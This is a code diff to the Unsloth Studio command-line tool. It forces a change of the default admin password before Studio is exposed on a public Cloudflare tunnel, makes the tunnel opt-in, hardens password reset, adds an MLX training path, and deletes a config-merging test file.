+                (STUDIO_HOME / "auth" / BOOTSTRAP_PASSWORD_FILE).unlink(missing_ok = True)
+            except OSError:
+                pass
+            typer.echo(
+                "Error: refusing to publish Studio on a public Cloudflare URL: could "
+                f"not initialize the admin account ({exc}), so a re-exec'd Studio "
+                "child could regenerate and serve a default credential. Retry (a "
+                "transient database lock clears), or change the password first (run "
+                "`unsloth studio` locally with a terminal attached, or `unsloth "
+                "studio reset-password`).",
+                err = True,
+            )
+            raise typer.Exit(1)
+        try:
+            row = conn.execute(
+                "SELECT password_salt, password_hash, must_change_password "
+                "FROM auth_user WHERE username = ?",
+                (DEFAULT_ADMIN_USERNAME,),
+            ).fetchone()
+        except (OSError, sqlite3.Error) as exc:
+            if child_self_suppresses:
+                # Could not read must_change back, but the child is this install's
+                # own backend and suppresses the injection, so nothing serves the
+                # seeded credential; proceed without stripping.
+                return
+            # The admin is committed above, so an old child finds it and won't
+            # regenerate; we just couldn't read must_change back. Strip the seeded
+            # file so nothing serves it, failing closed if the strip itself fails.
+            typer.echo(
+                f"Warning: could not read the Studio admin state back ({exc}); "
+                "removing the seeded bootstrap password before public exposure.",
+                err = True,
+            )
+            _strip_seeded_bootstrap_password_or_exit(context = "auth DB row unreadable")
+            return
+        if not row or not row[2]:
+            return
+        if not _prompt_streams_interactive():
+            # Only proceed headless if the bootstrap shutdown deadline will protect
+            # the launch: it never arms for api-only, and TIMEOUT=0 disables it.
+            if api_only or not _bootstrap_deadline_active():
+                typer.echo(
+                    "Error: refusing to publish Studio on a public Cloudflare "
+                    "URL: the default admin password was never changed, no "
+                    "terminal is attached to change it here, and the bootstrap "
+                    "shutdown deadline does not apply to this launch (api-only, "
+                    "or UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT=0). Change the "
+                    "password first (run `unsloth studio` locally and log in, "
+                    "or re-run with a terminal attached), then retry.",
+                    err = True,
+                )
+                raise typer.Exit(1)
+            if child_self_suppresses:
+                # The child is this install's own backend, whose pre-bind gate sets
+                # app.state.suppress_bootstrap_injection, so the seeded credential
+                # is never served publicly even with the file on disk. Skip the
+                # strip: unnecessary here, and it would lock the user out if the
+                # tunnel never comes up (e.g. a --secure loopback whose tunnel
+                # fails). Keep the file for LOCAL recovery; must_change stays set
+                # and the deadline arms.
+                typer.echo(
+                    "Warning: Studio is being exposed publicly while the admin "
+                    "account still uses its auto-generated bootstrap password. The "
+                    "login page forces a change and the credential is never served "
+                    "on the public page. Set a new password by running `unsloth "
+                    "studio` locally with a terminal attached, or `unsloth studio "
+                    "reset-password`; Studio shuts down after ~1h if the password "
+                    "stays unchanged (UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT).",
+                    err = True,
+                )
+                return
+            # The strip permanently removes the only plaintext recovery credential.
+            # On --secure the bind is loopback, so the tunnel is the ONLY public
+            # exposure: if cloudflared is provably unavailable no public URL can
+            # start, so stripping would just lock the user out. Refuse with the
+            # credential preserved. (A wildcard --cloudflare bind is public
+            # regardless of the tunnel, so it still strips below, as does any
+            # uncertainty.)
+            if secure and _tunnel_binary_confirmed_unavailable():
+                typer.echo(
+                    "Error: refusing to expose Studio: the Cloudflare tunnel binary "
+                    "(cloudflared) is unavailable and could not be downloaded, so no "
+                    "public URL can start. The seeded bootstrap password is preserved "
+                    "for recovery; fix connectivity and retry, or change the password "
+                    "first (`unsloth studio` locally, or `unsloth studio "
+                    "reset-password`).",
+                    err = True,
+                )
+                raise typer.Exit(1)
+            # Mixed-version safety: an OLD studio-venv child (predating this gate)
+            # has no pre-bind suppression and would read the seeded credential back
+            # from disk and inject it into the public HTML until the deadline.
+            # Delete the file here, in the parent, so a fresh child of ANY version
+            # reads None. must_change_password stays set, so the login page still
+            # forces a change and the timer still arms; only the on-disk copy goes.
+            _strip_seeded_bootstrap_password_or_exit(context = "no terminal to change it")
+            typer.echo(
+                "Warning: Studio is being exposed publicly while the admin account "
+                "still uses its auto-generated bootstrap password. The seeded password "
+                "file has been removed so it is not served on the public page. Set a new "
+                "password by running `unsloth studio` locally with a terminal attached, "
+                "or `unsloth studio reset-password`; Studio shuts down after ~1h if the "
+                "password stays unchanged (UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT).",
+                err = True,
+            )
+            return
+        password_salt, password_hash = row[0], row[1]
+
+        def _is_current_password(candidate: str) -> bool:
+            return hmac.compare_digest(
+                _pbkdf2_hex(candidate, password_salt.encode("utf-8")), password_hash
+            )
+
+        typer.echo(
+            "Unsloth Studio will be exposed on the public internet, so set a "
+            "password now. Ctrl+C to abort.",
+            err = True,
+        )
+        try:
+            new_password = _password_prompt.prompt_new_password(_is_current_password)
+        except (KeyboardInterrupt, EOFError):
+            typer.echo(
+                "\nError: password change aborted; refusing to expose Studio "
+                "with the default admin password. Re-run and set a password, "
+                "or launch without --secure/--cloudflare.",
+                err = True,
+            )
+            raise typer.Exit(1)
+        _cli_update_password(conn, DEFAULT_ADMIN_USERNAME, new_password)
+        typer.echo(f"Password updated for '{DEFAULT_ADMIN_USERNAME}'.", err = True)
+    finally:
+        conn.close()
+
+
 def _load_model_via_http(
     port: int,
     api_key: str,
@@ -713,13 +1244,13 @@ def studio_default(
             f"defaults to {_PARALLEL_DEFAULT_RUN}."
         ),
     ),
-    cloudflare: bool = typer.Option(
-        True,
+    cloudflare: Optional[bool] = typer.Option(
+        None,
         "--cloudflare/--no-cloudflare",
-        help = "Auto-create a free Cloudflare HTTPS tunnel for non-api-only wildcard "
-        "binds (0.0.0.0 or ::), exposing Studio on a PUBLIC internet URL (default on). "
-        "Pass --no-cloudflare to disable that Cloudflare URL; it does not change a "
-        "public wildcard bind. --api-only keeps it off unless paired with --secure.",
+        help = "Expose Studio on a PUBLIC internet URL via a free Cloudflare HTTPS "
+        "tunnel, for non-api-only wildcard binds (0.0.0.0 or ::). Off by default; "
+        "pass --cloudflare to enable it (--secure implies it). --no-cloudflare forces "
+        "it off but does not change a raw wildcard bind.",
     ),
     secure: bool = typer.Option(
         False,
@@ -747,6 +1278,14 @@ def studio_default(
         help = "Force server-side tools (web search, code execution) on or off for "
         "every request. Default: on for every bind, with the per-chat UI toggle honored.",
     ),
+    password: str = typer.Option(
+        "",
+        "--password",
+        help = "Set the INITIAL admin password non-interactively (headless setups), "
+        "only when none is set yet. Also reads the UNSLOTH_STUDIO_PASSWORD env var, or "
+        "`--password -` to read one line from stdin. A literal value is visible in the "
+        "process list and shell history. Rotate later with `unsloth studio reset-password`.",
+    ),
 ):
     """Launch the Unsloth Studio server."""
     # Back-compat: --not-secure is a deprecated alias for --no-secure.
@@ -766,13 +1305,14 @@ def studio_default(
                 err = True,
             )
             raise typer.Exit(2)
-        # Same for --no-cloudflare: it would not reach the subcommand.
-        if not cloudflare:
+        # Same for --cloudflare/--no-cloudflare: it would not reach the subcommand.
+        if cloudflare is not None:
+            _cf_flag = "--cloudflare" if cloudflare else "--no-cloudflare"
             typer.echo(
-                f"Error: --no-cloudflare on `unsloth studio` applies to the "
+                f"Error: {_cf_flag} on `unsloth studio` applies to the "
                 f"plain-server path only. For `unsloth studio "
                 f"{ctx.invoked_subcommand}`, put it after the subcommand: "
-                f"`unsloth studio {ctx.invoked_subcommand} --no-cloudflare ...`",
+                f"`unsloth studio {ctx.invoked_subcommand} {_cf_flag} ...`",
                 err = True,
             )
             raise typer.Exit(2)
@@ -817,17 +1357,34 @@ def studio_default(
                 err = True,
             )
             raise typer.Exit(2)
+        # Same for --password: it applies to the plain-server path only.
+        if password:
+            typer.echo(
+                f"Error: --password on `unsloth studio` applies to the "
+                f"plain-server path only. For `unsloth studio "
+                f"{ctx.invoked_subcommand}`, put it after the subcommand: "
+                f"`unsloth studio {ctx.invoked_subcommand} --password ...`",
+                err = True,
+            )
+            raise typer.Exit(2)
         return
 
     # --secure requires the tunnel; force a loopback bind.
     if secure:
-        if not cloudflare:
+        if cloudflare is False:
             typer.echo(
                 "Error: --secure requires the Cloudflare tunnel; do not combine it "
                 "with --no-cloudflare.",
                 err = True,
             )
             raise typer.Exit(2)
+        if host not in ("127.0.0.1", "localhost", "::1"):
+            typer.echo(
+                "Note: --secure ignores -H (it binds loopback and serves only "
+                "through the Cloudflare tunnel). Drop --secure to bind "
+                f"{host} directly, or keep --secure for a tunnel-only public link.",
+                err = True,
+            )
         host = "127.0.0.1"
 
     # --verbose restores the per-request access logs that are suppressed by
@@ -835,13 +1392,76 @@ def studio_default(
     if verbose:
         _enable_verbose_access_logs()
 
-    # Use the studio venv if it exists and we aren't already in it.
+    # Use the studio venv if present and not already in it. Resolve the child
+    # launcher BEFORE the gate: a headless gate strips the seeded
+    # .bootstrap_password, so aborting afterward (venv/run.py missing) would leave
+    # must_change_password=1 with no password to log in.
     studio_venv_dir = STUDIO_HOME / "unsloth_studio"
     in_studio_venv = sys.prefix.startswith(str(studio_venv_dir))
-
+    studio_python = run_py = None
+    resolved_frontend = frontend
     if not in_studio_venv:
         studio_python = _studio_venv_python()
         run_py = _find_run_py()
+        if not (studio_python and run_py):
+            typer.echo("Studio not set up. Run install.sh first.")
+            raise typer.Exit(1)
+        # A public UI launch must have a servable login page BEFORE the gate can
+        # strip the seeded .bootstrap_password, or the child has no way to change
+        # it. Also returns the resolved dist so the child serves a real build
+        # regardless of where its __file__ lands (fixes the shadowed silent 404).
+        resolved_frontend = _require_servable_frontend_or_exit(
+            frontend = resolved_frontend,
+            api_only = api_only,
+            cloudflare = cloudflare,
+            host = host,
+            secure = secure,
+        )
+        # Non-public / api-only launches skip that validation but still forward an
+        # explicitly resolved dist for the same silent-404 reason.
+        if resolved_frontend is None and not api_only:
+            resolved_frontend = _find_frontend_dist()
+    else:
+        # Already in the studio venv: no re-exec, served in-process below. On the
+        # headless public path the gate strips the seeded .bootstrap_password, so
+        # validate BOTH FIRST -- else a bad dist or broken venv fails only after
+        # the strip (must_change_password=1, no password to log in). Frontend check
+        # first (cheap); the backend import is headless-only so an interactive
+        # prompt is not delayed behind it.
+        resolved_frontend = _require_servable_frontend_or_exit(
+            frontend = resolved_frontend,
+            api_only = api_only,
+            cloudflare = cloudflare,
+            host = host,
+            secure = secure,
+        )
+        _validate_inproc_backend_before_strip(
+            cloudflare = cloudflare, host = host, secure = secure, api_only = api_only
+        )
+
+    # A supplied --password / UNSLOTH_STUDIO_PASSWORD / stdin sets the initial
+    # admin password here in the parent, before the gate and any re-exec, so the
+    # secret never reaches the child argv; strip the env var so a re-exec'd child
+    # can't re-read it. The interactive gate below then no-ops.
+    _apply_supplied_password_before_launch(_password_prompt.resolve_supplied_password(password))
+    os.environ.pop(_password_prompt.SUPPLIED_PASSWORD_ENV, None)
+
+    # Public (tunnel) exposure with the seeded default password: force a terminal
+    # password change first, before any re-exec or server exists. The child is
+    # self-suppressing when we serve in-process or re-exec this install's own
+    # run.py (its pre-bind gate suppresses the injection), so the gate can skip
+    # the destructive strip.
+    _enforce_password_change_before_exposure(
+        cloudflare = cloudflare,
+        host = host,
+        secure = secure,
+        api_only = api_only,
+        child_self_suppresses = _child_self_suppresses(
+            in_studio_venv = in_studio_venv, child_run_py = run_py
+        ),
+    )
+
+    if not in_studio_venv:
         if studio_python and run_py:
             if not silent:
                 typer.echo("Launching Unsloth Studio... Please wait...")
@@ -855,20 +1475,22 @@ def studio_default(
                 "--parallel",
                 str(parallel),
             ]
-            # Resolve frontend explicitly so the spawned run.py uses a real
-            # built dist regardless of where its __file__ lands. Skip in
-            # --api-only (no UI served).
-            resolved_frontend = frontend
-            if resolved_frontend is None and not api_only:
-                resolved_frontend = _find_frontend_dist()
+            # Forward the frontend dist resolved before the gate (skipped in
+            # --api-only, which serves no UI).
             if resolved_frontend is not None:
                 args.extend(["--frontend", str(resolved_frontend)])
             if silent:
                 args.append("--silent")
             if api_only:
                 args.append("--api-only")
-            # Forward the explicit polarity (matches run.py's BooleanOptionalAction).
-            args.append("--cloudflare" if cloudflare else "--no-cloudflare")
+            # Forward polarity explicitly: _find_run_py can fall back to an older
+            # run.py (--cloudflare defaulted on), so an unset default must not let a
+            # mixed install silently re-enable the tunnel. --secure implies it, so
+            # forward nothing then.
+            if cloudflare is True:
+                args.append("--cloudflare")
+            elif not secure:
+                args.append("--no-cloudflare")
             args.append("--secure" if secure else "--no-secure")
             # Forward an explicit tool policy; None -> run.py leaves it unset (tools on).
             if enable_tools is True:
@@ -920,8 +1542,10 @@ def studio_default(
         secure = secure,
         enable_tools = enable_tools,
     )
-    if frontend is not None:
-        run_kwargs["frontend_path"] = frontend
+    # Forward the frontend validated before the gate (in-venv path), so the
+    # in-process server serves exactly the dist we vouched for.
+    if resolved_frontend is not None:
+        run_kwargs["frontend_path"] = resolved_frontend
     run_server(**run_kwargs)
 
     try:
@@ -1106,13 +1730,13 @@ def run(
             f"{_PARALLEL_DEFAULT_RUN} (pre-PR hardcoded value)."
         ),
     ),
-    cloudflare: bool = typer.Option(
-        True,
+    cloudflare: Optional[bool] = typer.Option(
+        None,
         "--cloudflare/--no-cloudflare",
-        help = "Auto-create a free Cloudflare HTTPS tunnel for non-api-only wildcard "
-        "binds (0.0.0.0 or ::), exposing Studio on a PUBLIC internet URL (default on). "
-        "Pass --no-cloudflare to disable that Cloudflare URL; it does not change a "
-        "public wildcard bind. --api-only keeps it off unless paired with --secure.",
+        help = "Expose Studio on a PUBLIC internet URL via a free Cloudflare HTTPS "
+        "tunnel, for non-api-only wildcard binds (0.0.0.0 or ::). Off by default; "
+        "pass --cloudflare to enable it (--secure implies it). --no-cloudflare forces "
+        "it off but does not change a raw wildcard bind.",
     ),
     secure: bool = typer.Option(
         False,
@@ -1136,6 +1760,14 @@ def run(
             "decode speed, MoE usually don't."
         ),
     ),
+    password: str = typer.Option(
+        "",
+        "--password",
+        help = "Set the INITIAL admin password non-interactively (headless setups), "
+        "only when none is set yet. Also reads the UNSLOTH_STUDIO_PASSWORD env var, or "
+        "`--password -` to read one line from stdin. A literal value is visible in the "
+        "process list and shell history. Rotate later with `unsloth studio reset-password`.",
+    ),
 ):
     """Start Studio, load a model, print an API key -- one-liner server.
 
@@ -1207,13 +1839,20 @@ def run(
 
     # --secure requires the tunnel; force a loopback bind so the raw port is never public.
     if secure:
-        if not cloudflare:
+        if cloudflare is False:
             typer.echo(
                 "Error: --secure requires the Cloudflare tunnel; do not combine it "
                 "with --no-cloudflare.",
                 err = True,
             )
             raise typer.Exit(2)
+        if host not in ("127.0.0.1", "localhost", "::1"):
+            typer.echo(
+                "Note: --secure ignores -H (it binds loopback and serves only "
+                "through the Cloudflare tunnel). Drop --secure to bind "
+                f"{host} directly, or keep --secure for a tunnel-only public link.",
+                err = True,
+            )
         host = "127.0.0.1"
 
     # Tool policy no longer depends on the bind: tools default on everywhere
@@ -1228,10 +1867,14 @@ def run(
         silent = silent,
     )
 
-    # 1. Re-exec into the studio venv (same pattern as studio_default).
+    # 1. Re-exec into the studio venv (same pattern as studio_default). Resolve
+    # the child launcher BEFORE the gate: a headless gate strips the seeded
+    # .bootstrap_password, so aborting afterward (venv/entry point missing) would
+    # leave must_change_password=1 with no password to log in.
     studio_venv_dir = STUDIO_HOME / "unsloth_studio"
     in_studio_venv = sys.prefix.startswith(str(studio_venv_dir))
-
+    studio_bin = None
+    resolved_frontend = frontend
     if not in_studio_venv:
         studio_python = _studio_venv_python()
         if not studio_python:
@@ -1242,6 +1885,56 @@ def run(
         if not studio_bin.is_file():
             typer.echo("Studio venv missing 'unsloth' entry point. Re-run: unsloth studio setup")
             raise typer.Exit(1)
+        # `run` serves the same Studio UI (unless --api-only); a public launch must
+        # have a servable login page BEFORE the gate strips the seeded password, or
+        # the child has no way to change it. Validate here and forward the resolved
+        # dist so a shadowed child that can't self-resolve one still serves it.
+        resolved_frontend = _require_servable_frontend_or_exit(
+            frontend = frontend,
+            api_only = api_only,
+            cloudflare = cloudflare,
+            host = host,
+            secure = secure,
+        )
+    else:
+        # In-venv (in-process) run: validate the servable frontend and importable
+        # backend before the headless gate strips the seeded password. Frontend
+        # check first (cheap); backend import is headless-only so a prompt isn't
+        # delayed.
+        resolved_frontend = _require_servable_frontend_or_exit(
+            frontend = frontend,
+            api_only = api_only,
+            cloudflare = cloudflare,
+            host = host,
+            secure = secure,
+        )
+        _validate_inproc_backend_before_strip(
+            cloudflare = cloudflare, host = host, secure = secure, api_only = api_only
+        )
+
+    # A supplied --password / UNSLOTH_STUDIO_PASSWORD / stdin sets the initial
+    # admin password here in the parent, before the gate and any re-exec, so the
+    # secret never reaches the child argv; strip the env var so a re-exec'd child
+    # can't re-read it. The interactive gate below then no-ops.
+    _apply_supplied_password_before_launch(_password_prompt.resolve_supplied_password(password))
+    os.environ.pop(_password_prompt.SUPPLIED_PASSWORD_ENV, None)
+
+    # Public (tunnel) exposure with the seeded default password: force a terminal
+    # password change first, before any re-exec or server exists. The re-exec here
+    # runs the studio venv's `unsloth` console script (a possibly-OLD child), so it
+    # is NOT provably self-suppressing -- only the in-process case is, and the
+    # strip stays in force otherwise.
+    _enforce_password_change_before_exposure(
+        cloudflare = cloudflare,
+        host = host,
+        secure = secure,
+        api_only = api_only,
+        child_self_suppresses = _child_self_suppresses(
+            in_studio_venv = in_studio_venv, child_run_py = None
+        ),
+    )
+
+    if not in_studio_venv:
         args = [
             str(studio_bin),
             "studio",
@@ -1262,8 +1955,12 @@ def run(
         # Forward the explicit polarity; a future default flip on one
         # layer must not silently invert behaviour for the other.
         args.append("--load-in-4bit" if load_in_4bit else "--no-load-in-4bit")
-        if frontend:
-            args.extend(["--frontend", str(frontend)])
+        # Forward the frontend resolved before the gate, not just a user-supplied
+        # one: the parent may have found a built dist the shadowed child cannot,
+        # and stripping without forwarding it would abort the child at frontend
+        # setup (lockout).
+        if resolved_frontend is not None:
+            args.extend(["--frontend", str(resolved_frontend)])
         if api_only:
             args.append("--api-only")
         if silent:
@@ -1279,8 +1976,13 @@ def run(
         # Typer claims --parallel outside ctx.args; without this the
         # child reverts to its default and silently drops the value.
         args.extend(["--parallel", str(parallel)])
-        # Forward the explicit polarity (same rationale as --load-in-4bit above).
-        args.append("--cloudflare" if cloudflare else "--no-cloudflare")
+        # Always forward explicit polarity: a mixed-version studio venv whose old
+        # default was --cloudflare-on must not silently re-enable the tunnel.
+        # --secure implies it, so forward nothing then.
+        if cloudflare is True:
+            args.append("--cloudflare")
+        elif not secure:
+            args.append("--no-cloudflare")
         args.append("--secure" if secure else "--no-secure")
         args.append("--tensor-parallel" if tensor_parallel else "--no-tensor-parallel")
         if verbose:
@@ -1322,8 +2024,9 @@ def run(
         # TAURI_PORT line would corrupt that machine-parseable output.
         emit_tauri_port = False,
     )
-    if frontend is not None:
-        run_kwargs["frontend_path"] = frontend
+    # Forward the frontend validated before the gate (in-venv path).
+    if resolved_frontend is not None:
+        run_kwargs["frontend_path"] = resolved_frontend
     app = run_server(**run_kwargs)
     actual_port = getattr(app.state, "server_port", port) or port
 
@@ -1943,9 +2646,44 @@ def reset_password():
     ]
     had_db = db_file.exists()
 
-    db_file.unlink(missing_ok = True)
+    # Delete auth.db FIRST and prove it is gone before touching the seeded
+    # credential files. If it cannot be removed (a running Studio or Windows
+    # holds it open, or a read-only auth dir), abort with the credential files
+    # untouched: deleting them while an un-resettable DB (must_change_password=1)
+    # survives would lock a forgotten-password reset out of any recovery
+    # credential. Failing here leaves a consistent, still-recoverable state.
+    try:
+        db_file.unlink(missing_ok = True)
+    except OSError as exc:
+        typer.echo(
+            f"Error: could not delete the auth database ({exc}). Stop any running "
+            "Studio and retry; no credential files were changed.",
+            err = True,
+        )
+        raise typer.Exit(1)
+
+    # The DB is gone, so the next start re-seeds. Invalidate the seeded plaintext
+    # credential files so that re-seed generates a FRESH password instead of
+    # reusing a stale one: unlink only ignores FileNotFoundError, so a
+    # locked/undeletable file (Windows AV, read-only dir) would otherwise survive
+    # and generate_bootstrap_password() would read it back and re-validate the
+    # credential this reset revoked. Truncate on unlink failure; if a file can be
+    # neither removed nor truncated, fail closed -- the DB is already gone, so a
+    # surviving plaintext would be reused, and the user must remove it manually.
     for path in stale_files:
-        path.unlink(missing_ok = True)
+        try:
+            path.unlink(missing_ok = True)
+        except OSError:
+            try:
+                path.write_text("")
+            except OSError as exc:
+                typer.echo(
+                    f"Error: could not remove or clear {path.name} ({exc}); delete "
+                    "it manually before restarting Studio or the old password may "
+                    "be reused.",
+                    err = True,
+                )
+                raise typer.Exit(1)
 
     if not had_db:
         typer.echo("No auth database found -- nothing to reset.")
diff --git a/unsloth_cli/commands/train.py b/unsloth_cli/commands/train.py
index 9d47a574d5..c52c2344b7 100644
--- a/unsloth_cli/commands/train.py
+++ b/unsloth_cli/commands/train.py
@@ -7,10 +7,42 @@ from typing import Optional
 
 import typer
 
+from unsloth_cli._inference import ensure_studio_backend_path
 from unsloth_cli.config import Config, load_config
 from unsloth_cli.options import add_options_from_config
 
 
+def _should_use_mlx_backend_for_cli() -> bool:
+    ensure_studio_backend_path()
+    from studio.backend.core.training.training import should_use_mlx_training_backend
+    return should_use_mlx_training_backend()
+
+
+def _activate_mlx_transformers(model_name: str, hf_token: Optional[str]) -> None:
+    # Activate before any transformers import: adapter model-type detection imports utils.models.
+    ensure_studio_backend_path()
+    from utils.transformers_version import activate_transformers_for_subprocess
+    try:
+        activate_transformers_for_subprocess(model_name, hf_token)
+    except Exception as exc:
+        typer.echo(f"Warning: failed to activate Transformers sidecar: {exc}", err = True)
+
+
+def _create_cli_trainer(model_name: str, hf_token: Optional[str]):
+    if _should_use_mlx_backend_for_cli():
+        _activate_mlx_transformers(model_name, hf_token)
+        # MLX is torch-free: use the lightweight adapter, not trainer.py (imports torch/unsloth/trl at load).
+        ensure_studio_backend_path()
+        from studio.backend.core.training.training import create_mlx_trainer_adapter
+
+        return create_mlx_trainer_adapter()
+
+    ensure_studio_backend_path()
+    from studio.backend.core.training.trainer import UnslothTrainer
+
+    return UnslothTrainer()
+
+
 @add_options_from_config(Config)
 def train(
     config: Optional[Path] = typer.Option(
@@ -39,6 +71,7 @@ def train(
         typer.echo(f"Error: {e}", err = True)
         raise typer.Exit(code = 2)
 
+    config_overrides = config_overrides or {}
     cfg.apply_overrides(**config_overrides)
 
     # CLI/env tokens take precedence; guard against unresolved typer.Option
@@ -83,9 +116,7 @@ def train(
         )
         raise typer.Exit(code = 2)
 
-    from studio.backend.core.training.trainer import UnslothTrainer
-
-    trainer = UnslothTrainer()
+    trainer = _create_cli_trainer(cfg.model, hf_token)
 
     # Load model (trainer.is_vlm is set after this)
     if not trainer.load_model(
@@ -124,13 +155,20 @@ def train(
 
     try:
         while trainer.training_thread and trainer.training_thread.is_alive():
+            progress = trainer.get_training_progress()
+            if getattr(progress, "error", None):
+                break
             time.sleep(1)
     except KeyboardInterrupt:
         typer.echo("Stopping training (Ctrl+C detected)...")
         trainer.stop_training()
     finally:
         if trainer.training_thread:
-            trainer.training_thread.join()
+            progress = trainer.get_training_progress()
+            if getattr(progress, "error", None):
+                trainer.training_thread.join(timeout = 5)
+            else:
+                trainer.training_thread.join()
 
     final = trainer.get_training_progress()
     if getattr(final, "error", None):
diff --git a/unsloth_cli/tests/test_connect.py b/unsloth_cli/tests/test_connect.py
deleted file mode 100644
index e76a892647..0000000000
--- a/unsloth_cli/tests/test_connect.py
+++ /dev/null
@@ -1,954 +0,0 @@
-# SPDX-License-Identifier: AGPL-3.0-only
-# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-"""Tests for `unsloth connect` — config merging and launch env, no network."""
-
-from __future__ import annotations
-
-import json
-import os
-import sys
-import urllib.error
-from pathlib import Path
-from types import SimpleNamespace
-
-_REPO_ROOT = Path(__file__).resolve().parents[2]
-if str(_REPO_ROOT) not in sys.path:
-    sys.path.insert(0, str(_REPO_ROOT))
-
-
-import pytest
-from typer.testing import CliRunner
-
-import unsloth_cli.commands.connect as connect
-
-BASE = "http://127.0.0.1:8888"
-MODEL = {"id": "unsloth/gemma-4-26B-A4B-it-GGUF", "context_length": 131072}
-
-
-# --no-launch prints shell setup as POSIX (export/unset) on Unix/WSL and
-# PowerShell ($env:/Remove-Item) on native Windows; assert the host's form.
-def _assert_env_set(output: str, name: str, value: str) -> None:
-    needle = f'$env:{name} = "{value}"' if os.name == "nt" else f"export {name}={value}"
-    assert needle in output, f"{needle!r} not found in:\n{output}"
-
-
-def _assert_env_unset(output: str, name: str) -> None:
-    needle = f"Remove-Item Env:{name}" if os.name == "nt" else f"unset {name}"
-    assert needle in output, f"{needle!r} not found in:\n{output}"
-
-
-@pytest.fixture()
-def claude_settings(tmp_path, monkeypatch):
-    path = tmp_path / "claude" / "settings.json"
-    monkeypatch.setattr(connect, "claude_settings_path", lambda: path)
-    return path
-
-
-def test_claude_settings_created_when_missing(claude_settings):
-    connect.ensure_claude_attribution_header()
-    settings = json.loads(claude_settings.read_text())
-    assert settings["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0"
-
-
-def test_claude_settings_merge_preserves_existing(claude_settings):
-    claude_settings.parent.mkdir(parents = True)
-    claude_settings.write_text(
-        json.dumps({"effortLevel": "high", "env": {"CLAUDE_CODE_ENABLE_TELEMETRY": "0"}})
-    )
-    connect.ensure_claude_attribution_header()
-    settings = json.loads(claude_settings.read_text())
-    assert settings["effortLevel"] == "high"
-    assert settings["env"]["CLAUDE_CODE_ENABLE_TELEMETRY"] == "0"
-    assert settings["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0"
-
-
-def test_claude_settings_already_set_untouched(claude_settings):
-    claude_settings.parent.mkdir(parents = True)
-    original = json.dumps({"env": {"CLAUDE_CODE_ATTRIBUTION_HEADER": "0"}})
-    claude_settings.write_text(original)
-    connect.ensure_claude_attribution_header()
-    assert claude_settings.read_text() == original
-
-
-def test_claude_settings_bad_json_left_alone(claude_settings, capsys):
-    claude_settings.parent.mkdir(parents = True)
-    claude_settings.write_text("{not json")
-    connect.ensure_claude_attribution_header()
-    assert claude_settings.read_text() == "{not json"
-    assert "couldn't parse" in capsys.readouterr().err
-
-
-def _fake_claude(monkeypatch, version_output: str) -> None:
-    monkeypatch.setattr(connect.shutil, "which", lambda _: "/usr/local/bin/claude")
-    monkeypatch.setattr(
-        connect.subprocess,
-        "run",
-        lambda *args, **kwargs: SimpleNamespace(stdout = version_output),
-    )
-
-
-def test_cache_flags_passed_to_supported_claude(monkeypatch):
-    _fake_claude(monkeypatch, "2.1.98 (Claude Code)\n")
-    assert connect._claude_cache_flags() == ["--exclude-dynamic-system-prompt-sections"]
-
-
-def test_cache_flags_skipped_on_old_claude(monkeypatch):
-    _fake_claude(monkeypatch, "2.0.14 (Claude Code)\n")
-    assert connect._claude_cache_flags() == []
-
-
-def test_cache_flags_skipped_on_unparseable_version(monkeypatch):
-    _fake_claude(monkeypatch, "weird build string\n")
-    assert connect._claude_cache_flags() == []
-
-
-def _parse_toml(text: str) -> dict:
-    tomllib = pytest.importorskip("tomllib")
-    return tomllib.loads(text)
-
-
-def test_merge_codex_config_fresh():
-    merged = connect._merge_codex_config("", BASE)
-    parsed = _parse_toml(merged)
-    assert parsed["oss_provider"] == "unsloth_api"
-    provider = parsed["model_providers"]["unsloth_api"]
-    assert provider["base_url"] == f"{BASE}/v1"
-    assert provider["wire_api"] == "responses"
-    assert provider["requires_openai_auth"] is False
-
-
-def test_merge_codex_config_replaces_stale_block():
-    existing = (
-        'model = "gpt-5"\n'
-        "\n"
-        "[model_providers.unsloth_api]\n"
-        'base_url = "http://old-host:9999/v1"\n'
-        'wire_api = "chat"\n'
-        "\n"
-        "[model_providers.unsloth_api.http_headers]\n"
-        'x-old = "1"\n'
-        "\n"
-        "[model_providers.ollama]\n"
-        'base_url = "http://localhost:11434/v1"\n'
-    )
-    merged = connect._merge_codex_config(existing, BASE)
-    parsed = _parse_toml(merged)
-    assert parsed["model"] == "gpt-5"
-    assert parsed["model_providers"]["unsloth_api"]["base_url"] == f"{BASE}/v1"
-    assert parsed["model_providers"]["unsloth_api"]["wire_api"] == "responses"
-    assert "http_headers" not in parsed["model_providers"]["unsloth_api"]
-    assert parsed["model_providers"]["ollama"]["base_url"] == "http://localhost:11434/v1"
-    assert connect._merge_codex_config(merged, BASE) == merged
-
-
-def test_merge_codex_config_keeps_user_oss_provider():
-    merged = connect._merge_codex_config('oss_provider = "ollama"\n', BASE)
-    assert _parse_toml(merged)["oss_provider"] == "ollama"
-
-
-def test_write_codex_config_profile(tmp_path, monkeypatch):
-    monkeypatch.setenv("CODEX_HOME", str(tmp_path))
-    connect.write_codex_config(BASE, MODEL)
-    profile = _parse_toml((tmp_path / "unsloth_api.config.toml").read_text())
-    assert profile["oss_provider"] == "unsloth_api"
-    assert profile["model_provider"] == "unsloth_api"
-    assert profile["model"] == MODEL["id"]
-    assert profile["model_context_window"] == 131072
-    config = _parse_toml((tmp_path / "config.toml").read_text())
-    assert config["model_providers"]["unsloth_api"]["env_key"] == "UNSLOTH_STUDIO_AUTH_TOKEN"
-
-
-@pytest.fixture()
-def fake_studio(tmp_path, monkeypatch, claude_settings):
-    calls = []
-    state = {"models": [MODEL]}
-
-    def http_json(
-        method,
-        url,
-        token,
-        payload = None,
-        timeout = 30,
-        error = None,
-    ):
-        calls.append((method, url, payload))
-        if url.endswith("/v1/models"):
-            return {"object": "list", "data": state["models"]}
-        if url.endswith("/api/inference/status"):
-            return {"is_gguf": True, "model_identifier": state["models"][0]["id"]}
-        if url.endswith("/api/auth/api-keys"):
-            return {"key": "sk-unsloth-feedfacefeedface"}
-        if url.endswith("/api/inference/load"):
-            state["models"] = [{"id": payload["model_path"], "context_length": 4096}]
-            return {}
-        raise AssertionError(f"unexpected request: {method} {url}")
-
-    monkeypatch.setattr(connect, "find_studio_server", lambda: BASE)
